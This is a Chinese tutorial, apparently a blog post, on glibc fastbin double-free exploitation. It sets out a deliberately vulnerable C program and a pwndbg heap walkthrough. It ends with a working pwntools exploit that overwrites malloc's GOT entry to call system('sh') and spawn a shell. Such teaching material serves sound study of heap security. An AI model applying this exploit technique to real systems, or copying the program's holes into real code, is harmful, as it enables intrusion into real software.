Fastbin Double Free

似水流年月下花前 一舞倾城醉红颜
岁暮天寒月缺花残 独留孤影忆从前


简介

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法,而fastbin_double_free就是其中的一种,这类漏洞利用的前提是:
存在堆溢出、use-after-free等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中
Fastbin Double Free就是其字面所表达的意思,当一个内存被释放之后再次被释放,就是Free()了同一块内存多次,其精髓在于多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果


原理

Fastbin Double Free 能够成功利用主要有两部分的原因:
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证
通俗的讲就是当我们申请的一块chunk被释放后,它将以单链的形式被串在fastbin中,然后会有一个fast指针指向最后一个链上来了的chunk,当下一个chunk被释放后,将被链在上一个chunk的前面,fast指针向前移动


实例

heap.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *id)
{
system(id);
}

int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char *ptr[10];
memset(ptr,0,sizeof(ptr));
puts("1.malloc+gets\n2.free\n3.puts\n");
while(1)
{
printf("> ");
scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]);
}
else if(cmd==2)
{
free(ptr[idx]);
}
else if(cmd==3)
{
puts(ptr[idx]);
}
else
{
exit(0);
}
}
return 0;
}

编译:

1
gcc -no-pie heap.c -o heap -g -w

分析:
这个程序主要有3个功能,malloc+gets申请一块chunk并且向chunk中写入一段内容,free释放一块chunk,puts打印出一个chunk,很明显这个程序中有double_free漏洞
先运行程序看看:

1
2
3
4
5
6
7
8
9
10
11
root@sir-PC:/home/sir/desktop# ./heap
1.malloc+gets
2.free
3.puts

> 1 0
25 aaaabbbb
> 3 0
aaaabbbb
> 2 0
>

double_free的基本思路:
为了使操作更简单每次我们的操作的chunk的大小都应该相同
首先先申请两块chunk:ptr[0]和ptr[1],随便写入8字节的内容,然后分别free(ptr[0]),free(ptr[1]),free(ptr[0]),此时在ptr[0]和ptr[1]之间形成了一个双向链表,然后我们再申请一个chunk:ptr[2],写入我们需要修改的地址,然后在申请两个chunk:ptr[3]和ptr[4],随便写入8字节的内容,最后再次申请一个chunk:ptr[5],此时写入我们需要修改成的内容,就可以实现任意地址内容修改了


演示

现在我们来演示一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
root@sir-PC:/home/sir/desktop# gdb heap
GNU gdb (Debian 7.12-6+b2) 7.12.0.20161007-git
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from heap...done.
pwndbg> b 20
Breakpoint 1 at 0x40083b: file heap.c, line 20.
pwndbg> r
Starting program: /home/sir/desktop/heap
1.malloc+gets
2.free
3.puts


Breakpoint 1, main () at heap.c:20
20 printf("> ");
pwndbg> n
1 0
pwndbg> c
Continuing.
25 aaaabbbb #申请第一次ptr[0]
pwndbg> p ptr[0]
$1 = 0x602670 "aaaabbbb"
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x6262626261616161 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000020971
0x6026a0: 0x0000000000000000 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 1 1
25 qqqqssss #申请第二次ptr[1]
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x6262626261616161 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x7373737371717171 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 2 0 #释放ptr[0]
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000000000 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x7373737371717171 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 2 1 #释放ptr[1]
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000000000 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000 //bp指向0x602670 ptr[0]
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 2 0 #再次释放ptr[0]
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x00000000006026a0 0x0000000000000000 //bp指向0x6026a0 ptr[1]
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

此时我们double_free的工作就做完了,现在我们来修改一个任意地址的内容,为了方便输入我们就修改0x602660这个地址的内容,我们看到了0x602660原来的值为0,我们将其修改为AAAAAAAA,即0x4141414141414141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> c
Continuing.
> 1 2
25 `&` #申请第三次ptr[2],写入0x602660
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000602660 0x0000000000000000 //ptr[2],即原来的ptr[0]
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 1 3
25 aaaabbbb #申请第四次ptr[3]
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000602660 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6262626261616161 0x0000000000000000 //ptr[3],即原来的ptr[1]
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 1 4
25 qqqqssss #申请第五次ptr[4]
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x7373737371717171 0x0000000000000000 //ptr[4],将ptr[2]覆盖了
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6262626261616161 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

如果我们再次申请一块chunk,我们就在0x602660的位置写入我们想要的东西了,因为此时fast指针已经指向了0x602660的位置了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> c
Continuing.
> 1 5
25 AAAAAAAA 第六次申请ptr[5]
pwndbg> x/20gx 0x602670-16
0x602660: 0x4141414141414141 0x0000000000000000 //已经被修改了
0x602670: 0x7373737371717171 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6262626261616161 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

很明显0x602660位置的内容已经被我们修改了,如果我们把0x602660换成一个特殊的地址,比如malloc函数got表的地址,然后将其换成sh()函数的地址,那么当我们再次调用malloc函数的时候就会去调用sh()函数了


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sir@sir-PC:~/desktop$ objdump -R heap

heap: 文件格式 elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601078 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT system@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT memset@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
0000000000601058 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
0000000000601060 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5

pwndbg> p sh
$2 = {void (char *)} 0x4007d7 <sh>

所以我们只需要将0x601048的内容修改为0x4007d7就可以了,但是因为system()函数需要一个参数’sh’,所以我们从0x601040位置开始写入,将0x601040写入’sh‘,然后在最后再次调用malloc函数时,将sz参数换为’sh‘的地址就可以了,但是要注意的是输入的sz形式为%d,所以需要将0x601040换为十进制,即6295616

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = 'debug'
p = process('./heap')
elf =ELF('./heap')
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(p)
def cmd(x):
p.recvuntil('> ')
p.send(x+'\n')

def molloc(i,s):
cmd('1 %d\n25 %s'%(i,s))

def free(i):
cmd('2 %d'%i)

def put(i):
cmd('3 %d'%i)

molloc(0,'a'*8)
molloc(1,'b'*8)
free(0)
free(1)
free(0)

molloc(2,p64(0x0601040))
molloc(3,'/bin/sh')
molloc(4,'/bin/sh')
x = p64(0x6873) + p64(0x4007d7) #0x6873 = 'sh'
molloc(5,x)

p.recvuntil('> ')
p.sendline('1 6')
p.sendline('6295616 aaaaaaaa') # 0x601040 = 6295616
p.interactive()

文章目录
  1. 1. 简介
  2. 2. 原理
  3. 3. 实例
  4. 4. 演示
  5. 5. EXP
,